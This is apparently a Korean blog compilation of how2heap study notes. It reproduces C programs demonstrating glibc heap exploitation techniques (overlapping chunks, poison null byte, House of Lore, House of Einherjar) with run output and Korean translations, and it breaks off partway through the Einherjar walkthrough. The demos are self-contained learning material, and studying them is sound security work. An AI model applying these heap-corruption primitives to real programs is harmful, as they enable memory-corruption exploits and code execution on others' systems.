fastbin_dup.c `              http://say2.tistory.com/146

fastbin_dup_into_stack.c http://say2.tistory.com/147

first_fit.c                     http://say2.tistory.com/162

house_of_einherjar.c     http://say2.tistory.com/165

house_of_force.c           http://say2.tistory.com/114

house_of_lore.c            http://say2.tistory.com/170

house_of_spirit.c           http://say2.tistory.com/115

malloc_playground.c     http://say2.tistory.com/182

overlapping_chunks.c   http://say2.tistory.com/183

poison_null_byte.c        http://say2.tistory.com/178

unsafe_unlink.c             http://say2.tistory.com/119

unsorted_bin_attack.c    http://say2.tistory.com/138


original link

https://github.com/shellphish/how2heap

https://kafuuchin0.wordpress.com/2016/04/09/%EB%B2%88%EC%97%ADheap-overflow-using-malloc-maleficarum/


/*
 A simple tale of overlapping chunk.
 This technique is taken from
 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "stdint.h"

int main(int argc , char* argv[]){


	intptr_t *p1,*p2,*p3,*p4;

	printf("\nThis is a simple chunks overlapping problem\n\n");
	printf("Let's start to allocate 3 chunks on the heap\n");

	p1 = malloc(0x100 - 8);
	p2 = malloc(0x100 - 8);
	p3 = malloc(0x80 - 8);

	printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

	memset(p1, '1', 0x100 - 8);
	memset(p2, '2', 0x100 - 8);
	memset(p3, '3', 0x80 - 8);

	printf("\nNow let's free the chunk p2\n");
	free(p2);
	printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

	printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
	printf("For a toy program, the value of the last 3 bits is unimportant;"
		" however, it is best to maintain the stability of the heap.\n");
	printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
		" to assure that p1 is not mistaken for a free chunk.\n");

	int evil_chunk_size = 0x181;
	int evil_region_size = 0x180 - 8;
	printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
		 evil_chunk_size, evil_region_size);

	*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

	printf("\nNow let's allocate another chunk with a size equal to the data\n"
	       "size of the chunk p2 injected size\n");
	printf("This malloc will be served from the previously freed chunk that\n"
	       "is parked in the unsorted bin which size has been modified by us\n");
	p4 = malloc(evil_region_size);

	printf("\np4 has been allocated at %p and ends at %p\n", p4, p4+evil_region_size);
	printf("p3 starts at %p and ends at %p\n", p3, p3+80);
	printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

	printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
		" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

	printf("Let's run through an example. Right now, we have:\n");
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
	memset(p4, '4', evil_region_size);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
	memset(p3, '3', 80);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);
}




This is a simple chunks overlapping problem

	intptr_t *p1,*p2,*p3,*p4;

Let's start to allocate 3 chunks on the heap

heap에 3개의 chunk를 할당합시다.


The 3 chunks have been allocated here:

p1=0x9e6420

p2=0x9e6520

p3=0x9e6620

	p1 = malloc(0x100 - 8);
	p2 = malloc(0x100 - 8);
	p3 = malloc(0x80 - 8);
	memset(p1, '1', 0x100 - 8);
	memset(p2, '2', 0x100 - 8);
	memset(p3, '3', 0x80 - 8);

Now let's free the chunk p2

	free(p2);

The chunk p2 is now in the unsorted bin ready to serve possible

p2청크는 이제 unsorted bin에 있다.


new malloc() of its size

이 사이즈로 새로 malloc을 하자

Now let's simulate an overflow that can overwrite the size of the

chunk freed p2.

이제 freed된 p2의 size를 overwrite하는 overflow를 simulate하자


For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap.

마지막 3bit는 heap의 안전성을 유지하기 위해 중요하다.


To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk.

안전성을 달성하기위해 우리는 이 중요한 prev_inuse 비트를 1로 설정한다. p1이 free chunk로 오인되지 않게 하기위해서


	int evil_chunk_size = 0x181;
	int evil_region_size = 0x180 - 8;

We are going to set the size of chunk p2 to to 385, which gives us

a region size of 376

우리는 p2의 사이즈를 385로 설정한다. regionsize 는 376

	*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

Now let's allocate another chunk with a size equal to the data

size of the chunk p2 injected size

이제 또다른 청크를 할당하자 size를 p2의 inject한 사이즈와 같게해서 말이다.

This malloc will be served from the previously freed chunk that

is parked in the unsorted bin which size has been modified by us

이 malloc은 이전 freed chunk로 부터 제공될 것이다. 이것은 우리가 수정한 사이즈의 unsorted bin에 있다.

	p4 = malloc(evil_region_size);

p4 has been allocated at 0x9e6520 and ends at 0x9e70e0

p4는  0x9e6520에 할당되어 0x9e70e0에서 끝난다.


p3 starts at 0x9e6620 and ends at 0x9e68a0

p3은 0x9e6620 에서 시작되서 0x9e68a0에서 끝난다.


p4 should overlap with p3, in this case p4 includes all p3.

p4는 p3과 겹친다. 이 경우 p4는 p3을 포함한다.


Now everything copied inside chunk p4 can overwrites data on

chunk p3, and data written to chunk p3 can overwrite data

stored in the p4 chunk.

이제 p4안에 복사하는 모든것은 p3에 overwrite될 것이다. 그리고 p3청크에 쓰여진 데이타는 p4청크에 복사될 것이다.


Let's run through an example. Right now, we have:

p4 = Xt��

p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333q

	memset(p4, '4', evil_region_size);

If we memset(p4, '4', 376), we have:

p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444q

p3 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444q

	memset(p3, '3', 80);

And if we then memset(p3, '3', 80), we have:

p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444q

p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444q




#include 
#include 
#include 
#include 
#ifdef __GLIBC__
# include 
# include 
void print_mcheck_status(enum mcheck_status s)
{
	printf("%s\n", (s == MCHECK_DISABLED) ? "N/A, you didn't enable mcheck()" :
				   (s == MCHECK_OK) ? "No inconsistency detected" :
				   (s == MCHECK_HEAD) ? "Memory preceding an allocated block was clobbered" :
				   (s == MCHECK_TAIL) ? "Memory following an allocated block was clobbered" :
				   (s == MCHECK_FREE) ? "A block of memory was freed twice" :
				   "unknown memory check code!");
}
void report_mcheck_fail(enum mcheck_status s)
{
	printf("*** PROGRAM WOULD ABORT: "); print_mcheck_status(s);
}
#endif

int main(int argc, char ** argv) {
	char buffer[1000];
	while (1) {
		printf("> ");
		fgets(buffer, sizeof(buffer), stdin);
		char cmd[1000];
		intptr_t arg1, arg2;
		int num = sscanf(buffer, "%s %"SCNiPTR" %"SCNiPTR, cmd, &arg1, &arg2);
		if (strcmp(cmd, "malloc") == 0) {
			void* result = malloc(arg1);
			printf("==> %p\n", result);
		} else if (strcmp(cmd, "free") == 0) {
			free((void*) arg1);
			printf("==> ok\n");
		} else if (strcmp(cmd, "show") == 0) {
			if (num == 2) {
				arg2 = 1;
			}
			long * src = (long*) arg1;
			for (int i = 0; i < arg2; i++) {
				printf("%p: %#16.0lx\n", &src[i], src[i]);
			}
#ifdef __GLIBC__
		} else if (strcmp(cmd, "usable") == 0) {
			printf("usable size: %zu\n", malloc_usable_size((void*) arg1));
		} else if (strcmp(cmd, "stats") == 0) {
			malloc_stats();
		} else if (strcmp(cmd, "info") == 0) {
			malloc_info(0, stdout);
		} else if (strcmp(cmd, "mcheck") == 0) {
			printf("==> %s\n", mcheck(report_mcheck_fail) == 0 ? "OK" : "ERROR");
		} else if (strcmp(cmd, "mcheck_pedantic") == 0) {
			printf("==> %s\n", mcheck_pedantic(report_mcheck_fail) == 0 ? "OK" : "ERROR");
		} else if (strcmp(cmd, "mprobe") == 0) {
			if (num > 1) {
				print_mcheck_status(mprobe((void*) arg1));
			} else {
				mcheck_check_all();
				printf("==> check_all ok\n");
			}
#endif
		} else {
			puts("Commands: malloc n, free p, show p [n], usable p, stats, info, mprobe [p], mcheck, mcheck_pedantic");
		}
	}
}


malloc free test 용 코드였다.ㅠ





#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "stdint.h"
#include "malloc.h"


int main()
{
	printf("Welcome to poison null byte 2.0!\n");
	printf("Tested in Ubuntu 14.04 64bit.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* b1;
	uint8_t* b2;
	uint8_t* d;

	printf("We allocate 0x100 bytes for 'a'.\n");
	a = (uint8_t*) malloc(0x100);
	printf("a: %p\n", a);
	int real_a_size = malloc_usable_size(a);
	printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
		"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

	/* chunk size attribute cannot have a least significant byte with a value of 0x00.
	 * the least significant byte of this will be 0x10, because the size of the chunk includes
	 * the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0x200);

	printf("b: %p\n", b);

	c = (uint8_t*) malloc(0x100);
	printf("c: %p\n", c);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);

    /* this technique works by overwriting the size metadata of a free chunk */
	free(b);
	
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; 
	printf("b.size: %#lx\n", *b_size_ptr);

	uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
	printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
	b1 = malloc(0x100);

	printf("b1: %p\n",b1);
	printf("Now we malloc 'b1'. It will be placed where 'b' was. "
		"At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
	printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
		"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
	printf("We malloc 'b2', our 'victim' chunk.\n");

	b2 = malloc(0x80);
	printf("b2: %p\n",b2);

	memset(b2,'B',0x80);
	printf("Current b2 content:\n%s\n",b2);

	printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

	free(b1);
	free(c);
	
	printf("Finally, we allocate 'd', overlapping 'b2'.\n");
	d = malloc(0x300);
	printf("d: %p\n",d);
	
	printf("Now 'd' and 'b2' overlap.\n");
	memset(d,'D',0x300);

	printf("New b2 content:\n%s\n",b2);

	printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf "
		"for the clear explanation of this technique.\n");
}




Welcome to poison null byte 2.0!

Tested in Ubuntu 14.04 64bit.

This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.

이 기술은 off-by-one을 nullbyte가 있는 malloc된 지역에 가지고 있을때 사용될 수 있다.

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* b1;
	uint8_t* b2;
	uint8_t* d;

We allocate 0x100 bytes for 'a'.

a에 0x100바이트를 할당

	a = (uint8_t*) malloc(0x100);

a: 0x1fc1420

	int real_a_size = malloc_usable_size(a);

Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108

우리가 'a'를 overflow하길 원하기 때문에 우리는 'a'의 realsize를 알필요가 있다.(반올림으로 0x100이 넘아갈 수 있다.):0x108

	/* chunk size attribute cannot have a least significant byte with a value of 0x00.
	 * the least significant byte of this will be 0x10, because the size of the chunk includes
	 * the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0x200);

b: 0x1fc1530


	c = (uint8_t*) malloc(0x100);

c: 0x1fc1740

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);

    /* this technique works by overwriting the size metadata of a free chunk */
	free(b);

b.size: 0x211

b.size is: (0x200 + 0x10) | prev_in_use


We overflow 'a' with a single null byte into the metadata of 'b'

우리는 'a'에서 'b'로 하나의 null byte를 overflow 할 수 있다.

	a[real_a_size] = 0; 

b.size: 0x200

	uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;

c.prev_size is 0x210

	b1 = malloc(0x100);

b1: 0x1fc1530

Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 210

이제 우리는 'b1'을 malloc한다. 이것은 'b'의 자리에 들어갈 것이다. 이점에서 c의 prev_size는 update되어야 한다. 그러나 그러지 않았다..!


Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0(*(c-4))

흥미롭게도 c.prev_size의 바뀐 값은 c.prev_size의 10bytes뒤인 자리에 쓰여진다. 


We malloc 'b2', our 'victim' chunk.

우리는 'b2'를 malloc한다 우리의 'victim' 청크이다

	b2 = malloc(0x80);

b2: 0x1fc1640

	memset(b2,'B',0x80);

Current b2 content:

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').

이제 'b1'과 'c'를 free하자  이 작업은 'b1'과 'c'를 병합할 것이다('b2'를 잊은채..!)

	free(b1);
	free(c);

Finally, we allocate 'd', overlapping 'b2'.

마지막으로 우리는 'd'를 할당한다 b2와 겹치는!

	d = malloc(0x300);

d: 0x1fc1530

Now 'd' and 'b2' overlap.


	memset(d,'D',0x300);

New b2 content:

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD



Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf for the clear explanation of this technique.



'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap]overlapping chunks  (0) 2017.01.24
[how2heap]malloc_playground  (0) 2017.01.24
[how2heap정리] house_of_lore - 이해안감 ㅠ  (0) 2017.01.17
[how2heap정리] house of einherjar  (0) 2017.01.15
[how2heap정리]fist_fit  (0) 2017.01.14
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
    {
      bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim)){
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
       set_inuse_bit_at_offset (victim, nb);
       bin->bk = bck;
       bck->fd = bin;
       [ ... ]
*/

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "stdint.h"


int main(int argc, char * argv[]){


  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

  printf("\nWelcome to the House of Lore\n");
  printf("This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  printf("This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");

  printf("Allocating the victim chunk\n");
  intptr_t *victim = malloc(100);
  printf("Allocated the first small chunk on the heap at %p\n", victim);

  // victim-8 because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  printf("stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  printf("stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  printf("Create a fake chunk on the stack");
  printf("Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  printf("Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  
  printf("Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  printf("Allocated the large chunk on the heap at %p\n", p5);


  printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  printf("\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
  printf("victim->fwd: %p\n", (void *)victim[0]);
  printf("victim->bk: %p\n\n", (void *)victim[1]);

  printf("Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  printf("This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  printf("The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  printf("The victim chunk has been sorted and its fwd and bk pointers updated\n");
  printf("victim->fwd: %p\n", (void *)victim[0]);
  printf("victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------

  printf("Now allocating a chunk with size equal to the first one freed\n");
  printf("This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(100);


  printf("This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(100);
  printf("p4 = malloc(100)\n");

  printf("\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  printf("\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
}





  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

Welcome to the House of Lore


This is a revisited version that bypass also the hardening check introduced by glibc malloc

This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23


Allocating the victim chunk

  intptr_t *victim = malloc(100);

Allocated the first small chunk on the heap at 0xbeb420(victim)

  // victim-8 because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

stack_buffer_1 at 0x7ffc687eb830(stack_buffer_1)

stack_buffer_2 at 0x7ffc687eb810(stack_buffer_2)


Create a fake chunk on the stackSet the fwd pointer to the victim_chunk in order to bypass the check of small bin corruptedin second to the last malloc, which putting stack address on smallbin list

가짜 청크를 stackSet에 만들고 fdpointer를 victim_chunk로 향하게 한다. smallbin corruptedin check를 통과하기 위해서

...(번역기: 스택에 가짜 덩어리를 생성합니다. 작은 bin corruptedin의 체크를 바이 패스하기 위해 victim_chunk에 대한 fwd 포인터를 설정합니다. 마지막 빈칸에 스택 주소를 두는 마지막 malloc을 찾습니다.)

  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stack

bk포인터를 stack_buffer_2로 stackbuffer2의 fd포인터를 stackbuffer1로 세팅합니다. 스택에 있는 fake청크의 포인터를 반환할 마지막 malloc에서의 small bin check를 통과하기 위해서입니다.

  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

Allocating another large chunk in order to avoid consolidating the top chunk withthe small one during the free()

또다른 커다란 청크를 할당합니다. top chunk가 small 과 free중에 합병되는것을 피하기 위해서

  void *p5 = malloc(1000);

Allocated the large chunk on the heap at 0xbeb490(p5)

  free((void*)victim);

Freeing the chunk 0xbeb420, it will be inserted in the unsorted bin

p5를 free하면 이것은 unsorted bin으로 들어갈겁니다.


In the unsorted bin the victim's fwd and bk pointers are nil

victim->fwd: (nil) (victim[0])

victim->bk: (nil)    (victim[1])


Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin

이제 unsortedbin과 smallbin에 의해 다뤄지지 않는 malloc을 수행합니다.

This means that the chunk 0xbeb420(victim) will be inserted in front of the SmallBin

이것은 victim 청크가 smallobin앞에 들어갈것을 의미합니다.


  void *p2 = malloc(1200);

The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to 0xbeb880(p2)

unsorted bin과 small bin에 의해 다뤄지지 않는 청크는 0xbeb880에 할당됩니다.


The victim chunk has been sorted and its fwd and bk pointers updated

victim->fwd: 0x7fe63aa77bb8(victim[0])

victim->bk: 0x7fe63aa77bb8(victim[1])


Now emulating a vulnerability that can overwrite the victim->bk pointer

이제 victim->bk를 overwrite하는 취약점을 에뮬레이팅합니다.


//--vulnerability!--

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

Now allocating a chunk with size equal to the first one freed

이제 첫번째로 free된 청크와 동일한 사이즈의 chunk를 할당합니다.

  void *p3 = malloc(100);

This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer

이것은 overwritten 된 victim chunk를 반환하고 bin->bk를 삽입된 victim->bk로 설정합니다.


This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk

마지막 malloc은 glibc malloc을 속여야합니다. bin->bk에 삽입된 포지션에 있는 chunk를 반환하기 위해

void *p4 = malloc(100);

p4 = malloc(100)

The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7fe63aa77bb8(stack_buffer_2[2])

stack_buffer_2의 fd포인터는 파뀌어집니다. 마지막 malloc이후에


p4 is 0x7ffc687eb840 and should be on the stack!

'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap]malloc_playground  (0) 2017.01.24
[how2heap정리]poison_null_byte  (0) 2017.01.20
[how2heap정리] house of einherjar  (0) 2017.01.15
[how2heap정리]fist_fit  (0) 2017.01.14
[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07


#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "stdint.h"
#include "malloc.h"

/*
   Credit to st4g3r for publishing this technique
   The House of Enherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
	printf("Welcome to House of Einherjar!\n");
	printf("Tested in Ubuntu 16.04 64bit.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* d;

	printf("\nWe allocate 0x38 bytes for 'a'\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\n", a);
    
    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

    // create a fake chunk
    printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
    printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
    printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
    printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

    size_t fake_chunk[6];

    fake_chunk[0] = 0x41414141; // prev_size not used
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck

    printf("Our fake chunk at %p looks like:\n", fake_chunk);
    printf("prev_size (not used): %#lx\n", fake_chunk[0]);
    printf("size: %#lx\n", fake_chunk[1]);
    printf("fwd: %#lx\n", fake_chunk[2]);
    printf("bck: %#lx\n", fake_chunk[3]);

	/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);

	printf("\nWe allocate 0xf8 bytes for 'b'.\n");
	printf("b: %p\n", b);

    printf("We allocate a 3rd chunk to make sure we don't touch the wilderness (not necessary)\n");
    c = malloc(0x60);
	printf("c: %p\n", c);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\nb.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x100) | prev_inuse = 0x101\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; 
	printf("b.size: %#lx\n", *b_size_ptr);
    printf("This is easiest if b.size is a multiple of 0x100 so you "
           "don't change the size of b, only its prev_inuse bit\n");
    printf("If it had been modified, we would need a fake chunk inside "
           "b where it will try to consolidate the next chunk\n");

    // Write a fake prev_size to the end of a
    printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
           "it will consolidate with our fake chunk\n", sizeof(size_t));
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    // free b and it will consolidate with our fake chunk
    printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
    free(b);
    printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
    printf("We edit our fake chunk size so that it is small enough to pass size checks\n");
    printf("This wouldn't be necessary if our fake chunk was the top chunk (if we hadn't allocated c)\n");

    fake_chunk[1] = 0x1000;
    printf("New fake_chunk size: %#lx\n", fake_chunk[1]);

    printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
    d = malloc(0x200);
    printf("Next malloc(0x200) is at %p\n", d);
}


Welcome to House of Einherjar!

Tested in Ubuntu 16.04 64bit.

This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.

이기술은 poison null byte보다 강력한 원리이다. 하지만 heap leak이 필요하다.


This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.

이 기술은 null바이트가 있는 malloc된 지역에 off-by-one(한끝차이로 발생하는 취약점)을 가질때 사용될 수 있다.

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* d;

	printf("\nWe allocate 0x38 bytes for 'a'\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);

We allocate 0x38 bytes for 'a'

'a'에 38바이트를 할당한다.


a: 0x1927420(a)


Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38

우리는 'a'가 overflow되길 원하기 때문에, 0x38이 반올림된 a의 진짜 크기가 필요하다


We create a fake chunk wherever we want, in this case we'll create the chunk on the stack

우리는 fake chunk를 우리가 원하는 곳에 어디든 만든다. 이 경우 우리는 스택에 청크를 만들 것이다.


However, you can also create the chunk in the heap or the bss, as long as you know its address

그러나 당신은 또한 heap이나 bss영역에 만들수 있다. 우리가 그 주소를 알기만 한다면말이다.


We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks

(although we could do the unsafe unlink technique here in some scenarios)

우리는이것의 fwd와 bck(fd와 bk)포인터를 fake_chunk로 향하게 한다. unlink check를 패스하기 위해서이다.

그럼에도 불구하고 우리는 unsafe unlink 기술을 이 시나리오에서 사용할 것이다.

    size_t fake_chunk[6];

    fake_chunk[0] = 0x41414141; // prev_size not used
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck

Our fake chunk at 0x7ffe9a0f8ad0 looks like:

prev_size (not used): 0x41414141

size: 0x100

fwd: 0x7ffe9a0f8ad0

bck: 0x7ffe9a0f8ad0


(fake 청크의 모양)


/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);

We allocate 0xf8 bytes for 'b'.

b에 0xf8바이트를 할당한다


b: 0x1927460


We allocate a 3rd chunk to make sure we don't touch the wilderness (not necessary)

세번째 청크를 할당하면 우리가 wilderness를 건드리지 않게 해준다(꼭 필요하지는 않음)

    c = malloc(0x60);

c: 0x1927560

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

b.size: 0x101

b.size is: (0x100) | prev_inuse = 0x101


We overflow 'a' with a single null byte into the metadata of 'b'

